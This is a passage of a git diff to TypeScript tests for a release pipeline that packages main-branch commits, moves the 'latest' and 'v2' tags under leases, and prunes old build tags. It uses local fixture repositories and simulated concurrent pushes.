RUN_URL, + }); + }); + const remintedSha = reminted?.packagedSha ?? ""; + expect(remintedSha).not.toBe(laterPackaged); + expect(git(hook, "rev-parse", `${remintedSha}^{tree}`)).toBe( + git(hook, "rev-parse", `${laterPackaged}^{tree}`), ); - expect(buildTip(fx)).toBe(tip); - expect(latestTag(fx)).toBe(tip); + expect(reminted).toMatchObject({ + created: true, + pruned: [buildTagOf(fx, laterMerge)], + latest: { sha: packagedOf(fx, eleventh.sha), changed: false }, + }); + expect(hookPushes).toEqual([ + createOf(remintedSha, buildTagOf(fx, laterMerge)), + createOf(remintedSha, "refs/tags/v2.1.1"), + deleteOf(buildTagOf(fx, laterMerge)), + ]); + expect(buildTags(fx).sort()).toEqual( + [...greens.map((green) => buildTagOf(fx, green.sha)), buildTagOf(fx, eleventh.sha)].sort(), + ); + expect(originHolds(fx, remintedSha)).toBe(true); + expect(retagMajor({ cwd: hook, tag: "v2.1.1", sourceSha: laterMerge }).move).toMatchObject({ + sha: remintedSha, + changed: true, + }); + expect(retagMajor({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha }).move).toMatchObject({ + sha: remintedSha, + changed: false, + }); + expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(remintedSha); }); - test("a release tag on a chain commit without the library build fails the confirmation, whatever its bundle", () => { + test("a legacy latest on the retired build chain is replaced, and the chain is never touched", async () => { const fx = seedFixture(); - // A legacy-shaped chain commit for the merge commit: right source, right - // bundle bytes, no lib/pkg/; build's tip, tagged as the release. - const planted = plantBuild( + // The chain as the pipeline left it: a root packaging the seed with a Source trailer, its child packaging the + // merge commit, build at the child and latest on it. + const root = plantCommit( fx, - "build-legacy-release", + "chain-root", + fx.seedSha, + null, + builtFiles("packaged-bundle-bytes-0\n"), + ["build: main at seed", `Source: ${fx.seedSha}`], + ); + git(root.from, "push", "--quiet", "origin", `${root.sha}:refs/heads/build`); + const tip = plantCommit( + fx, + "chain-tip", fx.mergeSha, - ["build: by hand", `Source: ${fx.mergeSha}`], - { - "lib/index.js": "packaged-bundle-bytes-1\n", - }, + root.sha, + builtFiles("packaged-bundle-bytes-1\n"), + ["build: main at merge", `Source: ${fx.mergeSha}`], ); - git(fx.work, "fetch", "--quiet", "origin", "refs/heads/build"); git( - fx.work, + tip.from, "push", "--quiet", "origin", - `${planted}:refs/tags/v2.1.0`, - `${planted}:refs/tags/v2`, - ); - expect(() => - verifyPublishedRefs({ - cwd: shallowChecker(fx, "verify-legacy"), - tag: "v2.1.0", - sourceSha: fx.mergeSha, - }), - ).toThrow( - `${planted} does not carry a non-empty regular-file lib/pkg/index.js (no entry); refusing to point a consumable ref at an unpackaged commit.`, + `${tip.sha}:refs/heads/build`, + `${tip.sha}:${LATEST}`, ); - // The package rerun holds the tag to this checkout's whole build too. - expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /carries \[lib\/index\.js\] under lib\/index\.js and lib\/pkg\/, while this build of [0-9a-f]{40} produced \[lib\/index\.js, lib\/pkg\/index\.d\.ts, lib\/pkg\/index\.js\]/, + const ref = buildTagOf(fx, fx.mergeSha); + const run = await subcommand( + fx.work, + { GITHUB_SHA: fx.mergeSha, RUN_URL: undefined }, + "package-commit", ); + const packaged = packagedOf(fx, fx.mergeSha); + // git's own push progress precedes the report on stderr. + expect({ ...run, stderr: run.stderr.trimEnd().split("\n").at(-1) }).toEqual({ + stdout: "", + stderr: `${ref}: created at ${packaged}; no build tag beyond the window; ${LATEST}: moved to ${packaged} from ${tip.sha}`, + status: 0, + }); + expect(latestTag(fx)).toBe(packaged); + expect(git(fx.origin, "rev-parse", "refs/heads/build")).toBe(tip.sha); + expect(parentsOf(fx.origin, packaged)).toEqual([fx.mergeSha]); }); +}); - test("a shallow checkout is refused before any verdict", () => { +describe("movePointer", () => { + const V2 = "refs/tags/v2"; + + test("a pointer at a bare main commit is read as packaging that commit's parent: a package of a descendant moves it, one of its parent is left, and one of its own source is refused as no package", () => { const fx = seedFixture(); - const dir = join(fx.root, "build-shallow"); - execFileSync("git", ["clone", "--quiet", "--depth", "1", `file://${fx.origin}`, dir]); - writeBuild(dir, "packaged-bundle-bytes-1\n"); - expect(() => advanceBuild({ cwd: dir, sourceSha: fx.mergeSha })).toThrow( - /needs the full history.*shallow/, + // v2 as the pipeline left it before it packaged commits: on a main commit that committed the bundle itself. + git(fx.work, "push", "--quiet", "origin", `${fx.mergeSha}:${V2}`); + const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); + const newer = packageCommit({ cwd: next.dir, sourceSha: next.sha }); + const older = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + let move: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + move = movePointer(fx.work, V2, newer); + }); + expect(move).toMatchObject({ ref: V2, sha: newer.commit, changed: true }); + expect(pushes).toEqual([moveOf(V2, fx.mergeSha, newer.commit)]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(newer.commit); + expect(movePointer(fx.work, V2, older)).toMatchObject({ + ref: V2, + sha: newer.commit, + changed: false, + }); + // The seed is v2's own source under that reading, so the value would be kept, and a kept value must be a + // package, which a bare main commit is not. + git(fx.work, "push", "--quiet", "--force", "origin", `${fx.mergeSha}:${V2}`); + const seedRun = checkoutOf(fx, "seed-run", fx.seedSha, "packaged-bundle-bytes-0\n"); + const seedPackage = packageCommit({ cwd: seedRun, sourceSha: fx.seedSha }); + expect(() => movePointer(fx.work, V2, seedPackage)).toThrow( + new RegExp( + `^${V2} \\(${fx.mergeSha}\\) is not ${fx.seedSha} plus lib/index\\.js and lib/pkg/, minus package\\.json's preparation scripts, alone: .*; inspect it by hand\\.$`, + ), ); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); }); - /** `count` packaged commits of the seed chained from a root, unpushed: the plans land one ahead of each of this run's pushes. */ - function competitors( - fx: Fixture, - count: number, - ): { from: string; plans: PushPlan[]; shas: string[]; first: string; last: string } { - const from = clone(fx.root, fx.origin, "build-competitor"); - git(from, "checkout", "--quiet", fx.seedSha); - stripWorkflows(from); - writeBuild(from, "competitor-bundle\n"); - stageBuild(from); - stripPrepare(from); - const tree = git(from, "write-tree"); - const shas: string[] = []; - let first = ""; - let last = ""; - for (let n = 1; n <= count; n++) { - last = git( - from, - "commit-tree", - tree, - ...(last === "" ? [] : ["-p", last]), - "-m", - `build: competitor ${n}`, - "-m", - `Source: ${fx.seedSha}`, + test("a pointer at another commit of the same package is left there; one at another build of the same commit is refused", () => { + const fx = seedFixture(); + const first = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + // The same package minted again (another run URL), and a build of the same commit that differs. + const again = plantCommit( + fx, + "again", + fx.mergeSha, + fx.mergeSha, + builtFiles("packaged-bundle-bytes-1\n"), + ["build: main at merge", "Workflow-run: https://example.invalid/actions/runs/8"], + ); + const other = rivalPackage(fx, "other-build", fx.mergeSha, "DIFFERENT-bytes\n"); + git(again.from, "push", "--quiet", "origin", `${again.sha}:refs/heads/again`); + git(other.from, "push", "--quiet", "origin", `${other.sha}:refs/heads/other`); + git(fx.work, "fetch", "--quiet", "origin", "refs/heads/again", "refs/heads/other"); + expect(again.sha).not.toBe(first.commit); + let left: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + left = movePointer(fx.work, LATEST, { commit: again.sha, source: fx.mergeSha }); + expect(() => + movePointer(fx.work, LATEST, { commit: other.sha, source: fx.mergeSha }), + ).toThrow( + `${LATEST} is at ${first.commit}, another package of ${fx.mergeSha} than ${other.sha} with another tree; two builds of one main commit exist - inspect both by hand.`, ); - first = first === "" ? last : first; - shas.push(last); - } - return { - from, - plans: shas.map((sha) => ({ competitor: { from, sha, ref: "refs/heads/build" } })), - shas, - first, - last, - }; - } + }); + expect(left).toMatchObject({ ref: LATEST, sha: first.commit, changed: false }); + expect(pushes).toEqual([]); + expect(latestTag(fx)).toBe(first.commit); + }); - function expectRetriedOnto( - fx: Fixture, - before: string, - rivalTip: string, - result: ReturnType | undefined, - pushes: string[][], - ): void { - const tip = buildTip(fx); - expect(result).toEqual({ changed: true, buildSha: tip, latestSha: tip, reason: advanced(tip) }); - expect(latestTag(fx)).toBe(tip); - expect(git(fx.origin, "rev-parse", `${tip}^`)).toBe(rivalTip); - expect(sourceTrailer(fx.origin, tip)).toBe(fx.mergeSha); - const rejected = appendedSha(pushes[0] ?? []); - expect(pushes).toEqual([appendOf(rejected), appendOf(tip), latestOf("", tip)]); - expect(parentOf(fx.work, rejected)).toBe(before); - } + test("an annotated pointer is leased by its tag object, not the commit it peels to", () => { + const fx = seedFixture(); + const older = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }).commit; + git(fx.work, "tag", "-a", "-f", "-m", "by hand", "latest", older); + git(fx.work, "push", "--quiet", "--force", "origin", LATEST); + const tagObject = git(fx.origin, "rev-parse", LATEST); + expect(tagObject).not.toBe(older); + const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); + let result: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + result = packageCommit({ cwd: next.dir, sourceSha: next.sha }); + }); + const packaged = packagedOf(fx, next.sha); + expect(result?.latest).toMatchObject({ sha: packaged, changed: true }); + expect(pushes).toEqual([ + createOf(packaged, buildTagOf(fx, next.sha)), + moveOf(LATEST, tagObject, packaged), + ]); + expect(latestTag(fx)).toBe(packaged); + }); - test("a push overtaken by another run is retried on the new tip", () => { + test("a pointer that does not exist yet is created under a lease on its absence", () => { const fx = seedFixture(); - const rival = competitors(fx, 1); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, rival.plans, () => { - result = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); + const packaged = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + let move: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + move = movePointer(fx.work, V2, packaged); }); - expectRetriedOnto(fx, "", rival.first, result, pushes); + expect(move).toMatchObject({ ref: V2, sha: packaged.commit, changed: true }); + expect(pushes).toEqual([moveOf(V2, "", packaged.commit)]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(packaged.commit); }); +}); - // The rival lands DURING the push: origin's update hook moves build after receive-pack advertised it, so the update fails its own compare-and-set. - // git words that differently for a ref created since ("reference already exists") and one moved since ("is at ... but expected"). - const raced: [string, boolean][] = [ - ["created", false], - ["moved", true], - ]; - test.each(raced)( - "a push whose ref the server finds %s since advertising it is retried", - (_name, preexisting) => { - const fx = seedFixture(); - const rival = competitors(fx, preexisting ? 2 : 1); - git(rival.from, "push", "--quiet", "origin", `${rival.last}:refs/heads/rival`); - if (preexisting) { - git(rival.from, "push", "--quiet", "origin", `${rival.first}:refs/heads/build`); - } - const hooks = join(fx.origin, "hooks"); - mkdirSync(hooks, { recursive: true }); - writeFileSync( - join(hooks, "update"), - `#!/bin/sh\n[ "$1" = refs/heads/build ] || exit 0\ngit update-ref refs/heads/build ${rival.last}\n`, - { mode: 0o755 }, - ); - git(fx.origin, "config", "core.hooksPath", hooks); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); - }); - expectRetriedOnto(fx, preexisting ? rival.first : "", rival.last, result, pushes); - }, - ); +describe("pruneBuildTags", () => { + /** Positions 1..count, one tag each, all on the seed commit: the prune reads names, not commits. */ + function plantWindow(fx: Fixture, count = 12): { refs: string[]; first: string; second: string } { + const refs = Array.from( + { length: count }, + (_, n) => `refs/tags/build/${n + 1}.${fx.seedSha.slice(0, 7)}`, + ); + git(fx.work, "push", "--quiet", "origin", ...refs.map((ref) => `${fx.seedSha}:${ref}`)); + return { refs, first: refs[0] ?? "", second: refs[1] ?? "" }; + } - test("GitHub's wording of that server-side compare-and-set loss is retried too", () => { + test("the tags beyond the ten newest by position are deleted in one push; a window within the bound is left alone", () => { const fx = seedFixture(); - const stderr = `To https://github.com/o/r.git\n ! [remote rejected] 0123abc -> build (cannot lock ref 'refs/heads/build': is at ${fx.seedSha} but expected ${fx.mergeSha})\nerror: failed to push some refs to 'https://github.com/o/r.git'\n`; - let result: ReturnType | undefined; - // The scripted loss lands nothing, so the retry finds no build and pushes the root package again, for real. - const pushes = withPushPlans(fx, [{ fail: { stderr, status: 1 } }], () => { - result = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); + const { refs, first, second } = plantWindow(fx); + let deleted: string[] | undefined; + const pushes = withPushPlans(fx, [], () => { + deleted = pruneBuildTags(fx.work); }); - const tip = buildTip(fx); - expect(result).toEqual({ changed: true, buildSha: tip, latestSha: tip, reason: advanced(tip) }); - const rejected = appendedSha(pushes[0] ?? []); - expect(pushes).toEqual([appendOf(rejected), appendOf(tip), latestOf("", tip)]); - expect(parentOf(fx.work, rejected)).toBe(""); - expect(parentOf(fx.origin, tip)).toBe(""); + expect(deleted).toEqual([second, first]); + expect(pushes).toEqual([deleteOf(second, first)]); + expect(buildTags(fx).sort()).toEqual(refs.slice(2).sort()); + const again = withPushPlans(fx, [], () => { + expect(pruneBuildTags(fx.work)).toEqual([]); + }); + expect(again).toEqual([]); }); - test("a push overtaken on every attempt gives up naming the concurrent mover", () => { + test("a rival deleting a candidate between the list and the push does not fail the push: git warns on the vanished ref, the fact the prune relies on", () => { const fx = seedFixture(); - const rival = competitors(fx, 3); - const pushes = withPushPlans(fx, rival.plans, () => { - expect(() => advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha })).toThrow( - "could not advance refs/heads/build after 3 attempts; something keeps moving it concurrently - rerun this job once it settles.", + const { refs, first, second } = plantWindow(fx); + // The marker proves the rival ran before the push; the push landing with the ref gone is the fact under test. + const marker = join(fx.root, "rival-deleted-first"); + let deleted: string[] | undefined; + const pushes = withPushPlans( + fx, + [{ script: `git -C "${fx.origin}" update-ref -d ${first} && : > "${marker}"\n` }], + () => { + deleted = pruneBuildTags(fx.work); + }, + ); + expect(existsSync(marker)).toBe(true); + expect(deleted).toEqual([second, first]); + expect(pushes).toEqual([deleteOf(second, first)]); + expect(buildTags(fx).sort()).toEqual(refs.slice(2).sort()); + }); + + test("a ref under build/ this pipeline would not name stops the prune", () => { + const fx = seedFixture(); + plantWindow(fx, 3); + git(fx.work, "push", "--quiet", "origin", `${fx.seedSha}:refs/tags/build/by-hand`); + const pushes = withPushPlans(fx, [], () => { + expect(() => pruneBuildTags(fx.work)).toThrow( + "origin holds refs/tags/build/by-hand, which is not a build/. tag this pipeline names; delete it by hand.", ); }); - const shas = pushes.map(appendedSha); - expect(pushes).toEqual(shas.map(appendOf)); - expect(shas.map((sha) => parentOf(fx.work, sha))).toEqual(["", ...rival.shas.slice(0, -1)]); - expect(buildTip(fx)).toBe(rival.last); - expect(remoteRef(fx, "refs/tags/latest")).toBe(""); + expect(pushes).toEqual([]); }); test.each(PERMANENT)( - "%s fails the first push for good, with git's own words", + "%s fails the delete push for good, with git's own words", (_name, stderr) => { const fx = seedFixture(); + const { refs, first, second } = plantWindow(fx); let error: unknown; const pushes = withPushPlans(fx, [{ fail: { stderr, status: 128 } }], () => { try { - advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); + pruneBuildTags(fx.work); } catch (thrown) { error = thrown; } }); - const shas = pushes.map(appendedSha); - expect(pushes).toEqual(shas.map(appendOf)); - expect(shas.map((sha) => parentOf(fx.work, sha))).toEqual([""]); + expect(pushes).toEqual([deleteOf(second, first)]); expect(error).toEqual( - new Error(`git push origin ${shas.join()}:refs/heads/build failed: ${stderr.trim()}`), + new Error(`git push origin :${second} :${first} failed: ${stderr.trim()}`), ); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); - expect(remoteRef(fx, "refs/tags/latest")).toBe(""); + expect(buildTags(fx).sort()).toEqual(refs.sort()); }, ); - - describe("the latest tag", () => { - test("a release backfilled behind a newer commit whose run lost its latest push publishes the newer commit", () => { - const fx = seedFixture(); - // Post-green skipped the 2.1.0 merge; the next green commit's run appended it and then lost the latest push for - // good, so build holds a newer source than anything latest names. - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const stderr = PERMANENT[0]?.[1] ?? ""; - expect(() => - withPushPlans(fx, [null, { fail: { stderr, status: 128 } }], () => { - advanceBuild({ cwd: next.dir, sourceSha: next.sha }); - }), - ).toThrow(/refs\/tags\/latest failed/); - const newer = buildTip(fx); - expect(sourceTrailer(fx.origin, newer)).toBe(next.sha); - expect(remoteRef(fx, "refs/tags/latest")).toBe(""); - const release = checkoutOf(fx, "release-backfill", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = packageRelease({ cwd: release, tag: "v2.1.0", sourceSha: fx.mergeSha }); - }); - const older = buildTip(fx); - expect(parentOf(fx.origin, older)).toBe(newer); - expect(result).toEqual({ created: true, packagedSha: older, latestSha: newer }); - expect(pushes).toEqual([appendOf(older), TAG_PUSH, latestOf("", newer)]); - expect(latestTag(fx)).toBe(newer); - const rerun = checkoutOf(fx, "release-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let verified: ReturnType | undefined; - const rerunPushes = withPushPlans(fx, [], () => { - verified = packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha }); - }); - expect(verified).toEqual({ created: false, packagedSha: older, latestSha: newer }); - expect(rerunPushes).toEqual([]); - }); - - test("a release backfill landing between this run's append and its latest move does not hide this run's newer commit", () => { - const fx = seedFixture(); - // latest names the seed's package; the 2.1.0 merge was skipped by post-green. - const older = advanceBuild({ - cwd: checkoutOf(fx, "seed-run", fx.seedSha, "packaged-bundle-bytes-0\n"), - sourceSha: fx.seedSha, - }).buildSha; - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - // origin's post-receive hook appends the release hook's backfill of the merge commit on top of this run's append, so the tip this run reads - // next is the backfill. - const rival = clone(fx.root, fx.origin, "backfill"); - git(rival, "checkout", "--quiet", fx.mergeSha); - stripWorkflows(rival); - writeBuild(rival, "packaged-bundle-bytes-1\n"); - stageBuild(rival); - stripPrepare(rival); - const rivalTree = git(rival, "write-tree"); - // The tree's objects must already sit in origin for the hook to commit them. - const holder = git(rival, "commit-tree", rivalTree, "-p", fx.mergeSha, "-m", "holder"); - git(rival, "push", "--quiet", "origin", `${holder}:refs/heads/backfill-objects`); - const hooks = join(fx.origin, "hooks"); - const once = join(fx.root, "backfilled"); - mkdirSync(hooks, { recursive: true }); - writeFileSync( - join(hooks, "post-receive"), - [ - "#!/bin/sh", - `[ -e "${once}" ] && exit 0`, - "while read -r old new ref; do", - ' [ "$ref" = refs/heads/build ] || continue', - ` : > "${once}"`, - ` sha=$(git -c user.name=hook -c user.email=hook@example.invalid commit-tree ${rivalTree} -p "$new" -m "build: by the release hook" -m "Source: ${fx.mergeSha}")`, - ' git update-ref refs/heads/build "$sha" "$new"', - "done", - "", - ].join("\n"), - { mode: 0o755 }, - ); - git(fx.origin, "config", "core.hooksPath", hooks); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: next.dir, sourceSha: next.sha }); - }); - const tip = buildTip(fx); - const own = git(fx.origin, "rev-parse", `${tip}^`); - expect(sourceTrailer(fx.origin, tip)).toBe(fx.mergeSha); - expect(sourceTrailer(fx.origin, own)).toBe(next.sha); - expect(git(fx.origin, "rev-parse", `${own}^`)).toBe(older); - expect(result).toEqual({ - changed: true, - buildSha: own, - latestSha: own, - reason: `refs/heads/build: advanced to ${own}; refs/tags/latest: moved to ${own}`, - }); - expect(pushes).toEqual([appendOf(own), latestOf(older, own)]); - expect(latestTag(fx)).toBe(own); - const rerun = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); - expect(rerun).toEqual({ - changed: false, - buildSha: tip, - latestSha: own, - reason: `refs/heads/build already packages ${fx.mergeSha} at ${tip}; refs/tags/latest already at ${own}`, - }); - expect(latestTag(fx)).toBe(own); - }); - - test("a stale rerun after the release hook appended an older source leaves latest on the newer source until a green push passes it", () => { - const fx = seedFixture(); - // Post-green skipped the 2.1.0 merge; the next green commit reached build first. - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const newer = advanceBuild({ cwd: next.dir, sourceSha: next.sha }).buildSha; - const release = checkoutOf(fx, "release-backfill", fx.mergeSha, "packaged-bundle-bytes-1\n"); - const older = packageRelease({ - cwd: release, - tag: "v2.1.0", - sourceSha: fx.mergeSha, - }).packagedSha; - expect(buildTip(fx)).toBe(older); - expect(latestTag(fx)).toBe(newer); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); - }); - expect(result).toEqual({ - changed: false, - buildSha: older, - latestSha: newer, - reason: `refs/heads/build already packages ${fx.mergeSha} at ${older}; refs/tags/latest already at ${newer}`, - }); - expect(pushes).toEqual([]); - expect(latestTag(fx)).toBe(newer); - const third = pushGreenCommit(fx, "third-green", "packaged-bundle-bytes-3\n"); - const moved = advanceBuild({ cwd: third.dir, sourceSha: third.sha }); - expect(moved).toEqual({ - changed: true, - buildSha: buildTip(fx), - latestSha: buildTip(fx), - reason: advanced(buildTip(fx)), - }); - expect(git(fx.origin, "rev-parse", `${buildTip(fx)}^`)).toBe(older); - expect(latestTag(fx)).toBe(buildTip(fx)); - }); - - test("a lease overtaken by another mover is retried on the re-observed tag", () => { - const fx = seedFixture(); - const first = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans( - fx, - [null, { competitor: { from: fx.work, sha: fx.seedSha, ref: "refs/tags/latest" } }], - () => { - result = advanceBuild({ cwd: next.dir, sourceSha: next.sha }); - }, - ); - const tip = buildTip(fx); - expect(result).toEqual({ - changed: true, - buildSha: tip, - latestSha: tip, - reason: advanced(tip), - }); - expect(pushes).toEqual([appendOf(tip), latestOf(first, tip), latestOf(fx.seedSha, tip)]); - expect(latestTag(fx)).toBe(tip); - }); - - test("a lease overtaken on every attempt gives up after build advanced", () => { - const fx = seedFixture(); - advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const movers = [fx.seedSha, fx.mergeSha, fx.seedSha]; - const pushes = withPushPlans( - fx, - [ - null, - ...movers.map((sha) => ({ competitor: { from: fx.work, sha, ref: "refs/tags/latest" } })), - ], - () => { - expect(() => advanceBuild({ cwd: next.dir, sourceSha: next.sha })).toThrow( - "could not move refs/tags/latest after 3 compare-and-swap attempts; something keeps moving it concurrently - rerun this job once it settles.", - ); - }, - ); - const tip = buildTip(fx); - expect(sourceTrailer(fx.origin, tip)).toBe(next.sha); - const first = git(fx.origin, "rev-parse", `${tip}^`); - expect(pushes).toEqual([ - appendOf(tip), - latestOf(first, tip), - latestOf(fx.seedSha, tip), - latestOf(fx.mergeSha, tip), - ]); - expect(latestTag(fx)).toBe(fx.seedSha); - }); - - test.each(PERMANENT)( - "%s fails the first lease push for good, after build advanced", - (_name, stderr) => { - const fx = seedFixture(); - let error: unknown; - const pushes = withPushPlans(fx, [null, { fail: { stderr, status: 128 } }], () => { - try { - advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); - } catch (thrown) { - error = thrown; - } - }); - const tip = buildTip(fx); - expect(pushes).toEqual([appendOf(tip), latestOf("", tip)]); - expect(error).toEqual( - new Error( - `git push --force-with-lease=refs/tags/latest: origin ${tip}:refs/tags/latest failed: ${stderr.trim()}`, - ), - ); - expect(remoteRef(fx, "refs/tags/latest")).toBe(""); - }, - ); - }); }); diff --git a/test/scripts/release-pipeline-fixture.ts b/test/scripts/release-pipeline-fixture.ts index 32032363..6cc6f84a 100644 --- a/test/scripts/release-pipeline-fixture.ts +++ b/test/scripts/release-pipeline-fixture.ts @@ -13,11 +13,11 @@ import { readFileSync, realpathSync, rmSync, + symlinkSync, writeFileSync, } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; -import { PREPARATION_SCRIPTS } from "../../.github/scripts/release-pipeline.js"; export function git(cwd: string, ...args: string[]): string { return execFileSync("git", args, { cwd, encoding: "utf8" }).trim(); @@ -39,8 +39,8 @@ export function guardRefusal(cwd: string): string { let shimDir = ""; /** PATH as it was before the shim went first; undefined until it did. */ let realPath: string | undefined; -/** The real git, for a scripted rival that must not be logged as one of the pipeline's pushes. */ -export let realGit = ""; +/** The real git, which the shim execs. */ +let realGit = ""; /** The per-file hooks: the shim goes first on PATH before the file's tests and comes off after them, and the * fixture roots the file created are removed; a test file calls this once at module scope. */ @@ -115,9 +115,14 @@ function disableBackgroundMaintenance(dir: string): void { } /** Hermetic clone: the developer's global gitconfig (identity, signing, hooks) must not leak into the fixtures. */ -export function clone(root: string, originDir: string, name: string): string { +export function clone( + root: string, + originDir: string, + name: string, + options: { tags: boolean } = { tags: true }, +): string { const dir = join(root, name); - execFileSync("git", ["clone", "--quiet", originDir, dir]); + execFileSync("git", ["clone", "--quiet", ...(options.tags ? [] : ["--no-tags"]), originDir, dir]); disableBackgroundMaintenance(dir); git(dir, "config", "user.name", "fixture"); git(dir, "config", "user.email", "fixture@example.invalid"); @@ -154,11 +159,6 @@ export function writeBuild(cwd: string, bundle: string): void { } } -/** Stage the build outputs into a clone's index as the pipeline does (-f: they are gitignored). */ -export function stageBuild(cwd: string): void { - git(cwd, "add", "-f", "--", "lib/index.js", "lib/pkg"); -} - /** The fixture's package.json: one of each script pacote takes as a preparation trigger, beside one that is not. */ export function manifestJson( version: string, @@ -166,15 +166,18 @@ export function manifestJson( ): string { return `${JSON.stringify({ name: "@scope/pkg", version, scripts }, null, 2)}\n`; } +/** The six scripts pacote reads before it prepares a git dependency, spelled here so a name dropped from the + * pipeline's list would stay in a packaged manifest and fail the manifest assertion. */ +const PREPARATION_SCRIPTS = ["prepare", "prepack", "build", "preinstall", "install", "postinstall"]; const FIXTURE_SCRIPTS = { ...Object.fromEntries(PREPARATION_SCRIPTS.map((name) => [name, `echo ${name}`])), test: "bun test", }; /** FIXTURE_SCRIPTS after the pipeline's strip: the preparation scripts gone, the rest kept. */ -export const STRIPPED_SCRIPTS = { test: "bun test" }; +const STRIPPED_SCRIPTS = { test: "bun test" }; -/** What a chain commit's package.json looks like: the pipeline strips the preparation scripts when it mints one. */ -export function stripPrepare(cwd: string): void { +/** What a packaged commit's package.json looks like: the pipeline strips the preparation scripts when it mints one. */ +function stripPrepare(cwd: string): void { const pkg = JSON.parse(readFileSync(join(cwd, "package.json"), "utf8")) as { scripts?: Record; }; @@ -185,26 +188,12 @@ export function stripPrepare(cwd: string): void { git(cwd, "add", "package.json"); } -/** Whether a planter should strip the manifest as the pipeline does: the files include the library build (only - * commits minted after the strip carry it) and no explicit package.json says what the manifest is instead. */ -export function shouldStripManifest(files: Record): boolean { - return ( - Object.keys(files).some((file) => file.startsWith("lib/pkg/")) && !("package.json" in files) - ); -} - -/** What every packaged tree lacks, so a planted chain commit deviates from the pipeline's only where the test means it to. */ -export function stripWorkflows(cwd: string): void { - git(cwd, "rm", "-r", "-q", "-f", "--cached", "--ignore-unmatch", "--", ".github/workflows"); -} - -export function treePaths(cwd: string, sha: string): string[] { +function treePaths(cwd: string, sha: string): string[] { return git(cwd, "ls-tree", "-r", "--name-only", sha).split("\n"); } -/** The paths a chain commit's diff against its source lists: the workflow removal and the build outputs. */ -export const PACKAGED_DIFF = - ".github/workflows/ci.yml\nlib/index.js\nlib/pkg/index.d.ts\nlib/pkg/index.js\npackage.json"; +/** The paths a packaged commit's diff against its source lists: the build outputs and the stripped manifest. */ +const PACKAGED_DIFF = "lib/index.js\nlib/pkg/index.d.ts\nlib/pkg/index.js\npackage.json"; export const CHANGELOG_21 = `# Changelog @@ -235,6 +224,47 @@ export interface Fixture { mergeSha: string; } +/** The whole packaged-commit contract: `source`'s child, its tree plus the build of `bundle` and the stripped + * manifest and nothing else, the pipeline's subject and run trailer, the bot identity. */ +export function expectPackage( + fx: Fixture, + packaged: string, + source: string, + bundle: string, + runUrl: string, +): void { + expect(parentsOf(fx.origin, packaged)).toEqual([source]); + expect(git(fx.origin, "diff", "--name-only", source, packaged)).toBe(PACKAGED_DIFF); + expect(treePaths(fx.origin, packaged)).toEqual([ + ".github/dependabot.yml", + ".github/workflows/ci.yml", + ".gitignore", + ".release-please-manifest.json", + "CHANGELOG.md", + "lib/index.js", + "lib/pkg/index.d.ts", + "lib/pkg/index.js", + "package.json", + "release-please-config.json", + "src/marker.ts", + ]); + for (const [file, content] of Object.entries(builtFiles(bundle))) { + expect(git(fx.origin, "show", `${packaged}:${file}`)).toBe(content); + } + expect(git(fx.origin, "show", `${packaged}:package.json`)).toBe( + manifestJson( + git(fx.origin, "show", `${source}:.release-please-manifest.json`).match( + /"\."\s*:\s*"([^"]+)"/, + )?.[1] ?? "", + STRIPPED_SCRIPTS, + ).trimEnd(), + ); + expect(git(fx.origin, "log", "-1", "--format=%B", packaged)).toBe( + `build: main at ${git(fx.origin, "rev-parse", "--short", source)}\n\nWorkflow-run: ${runUrl}`, + ); + expect(identityOf(fx.origin, packaged)).toBe(BOT_IDENTITY); +} + /** * origin/main at the 2.0.0 release (seed) plus the squash-merged 2.1.0 release PR, with the bundle freshly "built" in the work clone: the state the * packaging job sees. @@ -262,7 +292,7 @@ export function seedFixture(): Fixture { )}\n`, ); write(work, "CHANGELOG.md", CHANGELOG_21.replace(/## \[2\.1\.0\][\s\S]*?\n\n## /, "## ")); - // A workflow (which no chain commit may carry) beside another .github file (which every chain commit keeps). + // A workflow file 